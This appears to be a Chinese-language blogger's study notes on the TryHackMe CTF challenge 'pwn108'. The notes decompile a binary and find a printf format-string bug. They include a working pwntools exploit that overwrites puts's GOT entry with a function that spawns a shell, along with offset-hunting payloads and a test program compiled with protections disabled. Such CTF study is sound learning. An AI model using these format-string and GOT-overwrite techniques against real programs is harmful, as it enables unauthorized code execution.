pwn108-GOT (Global Offset Table)
checksec
h: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
1.RELRO的保护机制可用于防护GOT hijacking
,其全名为Relocation Read-Only
2.Partial RELRO
,这种情况下,GOT
可写
运行情况
输入name,和 No
No存在格式化字符漏洞
IDA分析
main函数是
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32];// [rsp+0h] [rbp-90h] BYREF
char format[104];// [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v7;// [rsp+88h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts(" THM University 📚");
puts(asc_402198);
printf("n=[Your name]: ");
read(0, buf,0x12uLL);
printf("=[Your Reg No]: ");
read(0, format,0x64uLL);
puts("n=[ STUDENT PROFILE ]=");
printf("Name : %s", buf);
printf("Register no : ");
printf(format);
printf("Institue : THM");
puts("nBranch : B.E (Binary Exploitation)n");
puts(
"n"
" =[ EXAM SCHEDULE ]= ");
return v7 - __readfsqword(0x28u);
第一次输入buf,32字节,read有字节限制,format104字节,多了个v7,占8字节
buf->format->canary>s_8->r_8,因为有canary
,利用格式化字符串漏洞,得到它
holidays函数如下:起始地址为40123B
unsigned __int64 holidays()
{
_WORD v1[7];// [rsp+2h] [rbp-Eh] BYREF
*(_QWORD *)&v1[3]= __readfsqword(0x28u);
strcpy((char*)v1,"exams");
printf("nNo more %s for you enjoy your holidays 🎉nAnd here is a small gift for youn",(constchar*)v1);
system("/bin/sh");
return*(_QWORD *)&v1[3]- __readfsqword(0x28u);
}
gdb调试
canary? NO!
现在有经验了,反正canary的值在这里就是 $rbp-0x8
距离变量有17行,所以先找到变量位置
import sys
from pwn import*
from struct import*
exe ='./pwn108'
context.binary = ELF(exe,checksec=False)
payload =b"yly"
#p = process(exe)
p=gdb.debug(exe,"b main")
p.sendline(payload)
payload2=b"AB.%lX.%lX.%lX.%lX.%lX"
p.sendline(payload2)
p.recvline()
p.interactive()
Register no : AB.7FFD34CF1C20.0.0.73.FFFFFFFF
没出现,继续找
那就是变量在 %10$lx
(这里犯了一个错误),canary在 %27$lx
嘶,但最后验证的时候为什么不对呢,
噢找错了,好像是从第二个输入变量开始数起(?)
欧克,是%23$lX
不出意外的话就是:
b"A"*104+p64(canary)+b"A"*8+p64(holidays)
第二个输入得到了canary,问题是,程序结束了啊?嘶
看了wp,它不需要canary
。。。咳咳
所以总结一下,为什么是%23$lx
,因为第一个输入参数就决定了后面的栈结构,%6$lx
是第一个参数的值!后面有图,这里不赘述啦
过程分析
GOT
Using a format string we overwrite the GOT
https://book.hacktricks.xyz/cn/binary-exploitation/write-what-where-2-exec/aw2exec-got-plt#got-quan-ju-pian-yi-biao
全局偏移表 (GOT) 是在动态链接二进制文件中使用的机制,用于管理外部函数的地址。由于这些地址直到运行时才知道(由于动态链接),GOT 提供了一种在这些外部符号解析后动态更新这些地址的方法。
为什么要通过GOT?
https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/got-overwrite
说是覆盖GOT表中的一个函数地址,即可跳转过去
也就是第一个输入先写入一个GOT地址
在第二个输入去替换
答案
import sys
from pwn import*
from struct import*
exe ='./pwn108'
binary=context.binary = ELF(exe,checksec=False)
puts_got=binary.got['puts']
holidays=binary.symbols['holidays']
payload = p64(puts_got)
p = process(exe)
#p=gdb.debug(exe,"b main")
p.sendline(payload)
p.recvuntil("No]:")
payload2=b"%"+str(holidays).encode("utf-8")+b"s%6$lln"
print(f"payload2:{payload2}")
p.sendline(payload2)
p.interactive()
继续分析
第一次read的情况,它就已经写进去了
第二次read,
把holidays函数入口地址字符串化
但是呢,%4198971s%6$lln
是什么意思?
https://zhuanlan.zhihu.com/p/465896542
。。。我都复现不了上述链接的漏洞,输出和参考有差异
编译时去掉一些保护就好了
gcc -z execstack -z lazy -o test test.c
#include <stdio.h>
intmain()
{
char buf[32];
//read(0,buf,0x100uLL);
//printf(buf);
//printf("%d,%d,%d,%4$d");
int a;
printf("0123456789%nn",&a);
printf(a);
printf("The value of a is %d", a);
return0;
}
这样运行的结果是a=10
https://www.geeksforgeeks.org/g-fact-31/
这个是把整数写到了a里
#include <stdio.h>
int main()
{
char buf[32];
read(0,buf,0x100uLL);
printf(buf);
return 0;
}
gcc -z execstack -z lazy -o t1 t1.c
当我输入AB.%6$lx
,我突然想到了
回到pwn108,这样输入一下
噢,很显然,%6$lX
是第一个参数的数据,所以难怪
%6$lln
就是对第一个参数进行操作,那就是覆盖第一个参数数据
https://owasp.org/www-community/attacks/Format_string_attack
%n
,将一个整数作为数据写进内存中的位置
思路
所以,第一个参数给一个内存地址
第二个参数:%4198971s%6$lln
那就是把前面的这个数值作为数据写到第一个参数地址去
总结
GOT利用,覆盖地址
printf的%n格式化参数的利用
自己常用的编译器已经自带安全措施了,所以想要利用漏洞,反而要编译时去掉这些安全措施
不懂的还有很多:
1.比如为什么是%419871s
这种形式,数字我理解,你这个%s是什么意思?也不像读取字符串啊
2.所以GOT地址,比如puts_got存储了此got地址,而这个got地址又存了真正的puts函数地址,如果被覆盖,那就会跳转到其它地方?
参考
wp:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/
GOT:https://book.hacktricks.xyz/cn/binary-exploitation/write-what-where-2-exec/aw2exec-got-plt#got-quan-ju-pian-yi-biao
https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/got-overwrite
GOT案例篇:https://zhuanlan.zhihu.com/p/615039713
格式化参数:https://owasp.org/www-community/attacks/Format_string_attack
原文始发于微信公众号(羽泪云小栈):thm_pwn108
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论